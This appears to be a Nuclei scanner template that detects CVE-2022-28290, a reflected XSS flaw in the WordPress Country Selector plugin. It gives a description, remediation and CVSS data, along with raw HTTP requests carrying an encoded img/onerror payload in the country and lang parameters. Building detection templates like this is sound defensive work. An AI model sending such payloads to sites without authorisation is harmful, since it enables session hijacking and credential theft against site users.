id: CVE-2022-28290 info: name: WordPress Country Selector <1.6.6 - Cross-Site Scripting author: Akincibor severity: medium description: | WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: | Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479 - https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html - https://nvd.nist.gov/vuln/detail/CVE-2022-28290 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-28290 cwe-id: CWE-79 epss-score: 0.00088 epss-percentile: 0.37623 cpe: cpe:2.3:a:welaunch:wordpress_country_selector:1.6.5:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: welaunch product: wordpress_country_selector framework: wordpress tags: cve,cve2022,wordpress-country-selector,wpscan,wp,wordpress,wp-plugin,xss,welaunch http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US skip-variables-check: true matchers-condition: and matchers: - type: word part: body words: - '' - 'country_selector_' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100f60ed421c4354c8953d5f96f4fb7186d8933cefe5f856396fc65e6735e01080002206084924444843ba0cdfc4303ebc8e9fef24d6d3855d600c1f9de23a34c42a9b2:922c64590222798bb761d5b6d8e72950